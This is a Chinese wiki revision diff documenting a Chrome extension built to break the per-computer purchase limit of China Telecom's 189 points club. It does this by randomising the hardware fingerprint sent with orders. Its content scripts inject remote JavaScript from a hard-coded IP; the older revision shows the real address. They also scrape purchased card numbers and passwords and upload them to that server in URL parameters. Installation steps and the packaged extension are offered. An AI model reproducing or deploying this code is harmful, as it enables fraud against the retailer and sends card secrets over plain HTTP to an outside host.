这里会显示出您选择的修订版和当前版本之间的差别。
后一修订版 | 前一修订版 | ||
分享:技术:chrome插件:189cj插件编写 [2015/09/16 14:12] gxx 创建 |
分享:技术:chrome插件:189cj插件编写 [2015/09/17 08:29] (当前版本) gxx |
||
---|---|---|---|
行 1: | 行 1: | ||
====== 189cj插件编写 ====== | ====== 189cj插件编写 ====== | ||
===== 插件简介 ===== | ===== 插件简介 ===== | ||
- | 破解http://y.jf.189.cn天翼积分俱乐部同一台电脑每天只能购买几次的限制,页面请求是会向服务器端送mac,硬盘,cpu地址加密用来判断是同一台电脑。做法:插件判断当前是购买订单页面,加载远端自己的js,往页面dom树中插入自己的按钮,点击调用自己js的方法,修改mac,硬盘,cpu地址加密为随机串,破解该限制!该插件另外一个功能是,插件判断当前是购买成功页面或者是订单详情页面而且该订单为成功状态,则获取dom树把该页面中的订单和卡密信息上送服务器。 | + | 破解http://y.jf.189.cn天翼积分俱乐部同一台电脑每天只能购买几次的限制,页面请求是会向服务器端送mac,硬盘,cpu地址加密用来判断是同一台电脑。 |
+ | |||
+ | 做法:插件判断当前是购买订单页面,加载远端自己的js,往页面dom树中插入自己的按钮,点击调用自己js的方法,修改mac,硬盘,cpu地址加密为随机串,破解该限制! | ||
+ | |||
+ | 该插件另外一个功能是,插件判断当前是购买成功页面或者是订单详情页面而且该订单为成功状态,则获取dom树把该页面中的订单和卡密信息上送服务器。 | ||
===== 要素 ===== | ===== 要素 ===== | ||
- | {{:分享:技术:chrome插件:要素.png?200|}} | + | {{:分享:技术:chrome插件:要素.png?600|}} |
==== manifest.json ==== | ==== manifest.json ==== | ||
<file json manifest.json> | <file json manifest.json> | ||
行 32: | 行 36: | ||
==== dummyOrderPay.js ==== | ==== dummyOrderPay.js ==== | ||
<file js dummyOrderPay.js> | <file js dummyOrderPay.js> | ||
- | document.getElementById("btnSubmitOrder").outerHTML = document.getElementById("btnSubmitOrder").outerHTML + "<span class=\"getChance getchance02\" id=\"load189Js\" onclick=\"var scriptObj=document.createElement('script');scriptObj.src='http://60.8.151.34:8888/189.js';scriptObj.type='text/javascript';scriptObj.id='id189';document.getElementsByTagName('head')[0].appendChild(scriptObj);\">load189Js</span><span class=\"getChance getchance02\" id=\"OOXX\" style=\"display:none;\" onclick=\"ooxx()\">买->已破解</span>"; | + | document.getElementById("btnSubmitOrder").outerHTML = document.getElementById("btnSubmitOrder").outerHTML + "<span class=\"getChance getchance02\" id=\"load189Js\" onclick=\"var scriptObj=document.createElement('script');scriptObj.src='http://XXX.XXX.XXX.XXX:XXXX/189.js';scriptObj.type='text/javascript';scriptObj.id='id189';document.getElementsByTagName('head')[0].appendChild(scriptObj);\">load189Js</span><span class=\"getChance getchance02\" id=\"OOXX\" style=\"display:none;\" onclick=\"ooxx()\">买->已破解</span>"; |
</file> | </file> | ||
==== paySuccess.js ==== | ==== paySuccess.js ==== | ||
行 45: | 行 49: | ||
</file> | </file> | ||
==== orderDetail.js ==== | ==== orderDetail.js ==== | ||
- | <file js paySuccess.js> | + | <file js orderDetail.js> |
var bodyHtml = document.body.innerHTML; | var bodyHtml = document.body.innerHTML; | ||
if(bodyHtml.indexOf("成功")>-1 && bodyHtml.indexOf("卡密详情:")>-1 && bodyHtml.indexOf("卡号:")>-1){ | if(bodyHtml.indexOf("成功")>-1 && bodyHtml.indexOf("卡密详情:")>-1 && bodyHtml.indexOf("卡号:")>-1){ | ||
行 86: | 行 90: | ||
bodyHtml = bodyHtml.substr(index + "</span>".length); | bodyHtml = bodyHtml.substr(index + "</span>".length); | ||
//alert(cardNo + "," + password + "," + expressDate); | //alert(cardNo + "," + password + "," + expressDate); | ||
- | window.open("http://60.8.151.34:8888/jf189/cardpass/add.htm?orderNo=" + orderNo + "&productName=" + productName + "&cardNo=" + cardNo + "&password=" + password + "&expressDate=" + expressDate) | + | window.open("http://XXX.XXX.XXX.XXX:XXXX/jf189/cardpass/add.htm?orderNo=" + orderNo + "&productName=" + productName + "&cardNo=" + cardNo + "&password=" + password + "&expressDate=" + expressDate) |
index = bodyHtml.indexOf("<b>卡号:</b><span>"); | index = bodyHtml.indexOf("<b>卡号:</b><span>"); | ||
} | } | ||
行 92: | 行 96: | ||
</file> | </file> | ||
==== 189CJ_19.png ==== | ==== 189CJ_19.png ==== | ||
- | {{:分享:技术:chrome插件:189cj_19.png?200|}} | + | {{:分享:技术:chrome插件:189cj_19.png?50|}} |
==== 189CJ_48.png ==== | ==== 189CJ_48.png ==== | ||
- | {{:分享:技术:chrome插件:189cj_48.png?200|}} | + | {{:分享:技术:chrome插件:189cj_48.png?100|}} |
+ | ===== chrome导入开发中的插件目录 ===== | ||
+ | {{:分享:技术:chrome插件:导入开发中的插件目录_1.png?600|}} | ||
+ | {{:分享:技术:chrome插件:导入开发中的插件目录_2.png?600|}} | ||
+ | ===== 打包开发好的插件目录 ===== | ||
+ | {{:分享:技术:chrome插件:打包开发好的插件目录_1.png?600|}} | ||
+ | {{:分享:技术:chrome插件:打包开发好的插件目录_2.jpg?600|}} | ||
+ | {{:分享:技术:chrome插件:打包开发好的插件目录_3.png?600|}} | ||
+ | ===== chrome导入开发完成的插件文件(crx文件) ===== | ||
+ | {{:分享:技术:chrome插件:导入开发完成的插件文件_1.png?600|}} | ||
+ | {{:分享:技术:chrome插件:导入开发完成的插件文件_2.png?600|}} | ||
+ | {{:分享:技术:chrome插件:导入开发完成的插件文件_3.png?600|}} | ||
+ | ===== 附件 ===== | ||
+ | {{:分享:技术:chrome插件:jf.189.cn_chrome破解插件_20150916.zip|}} |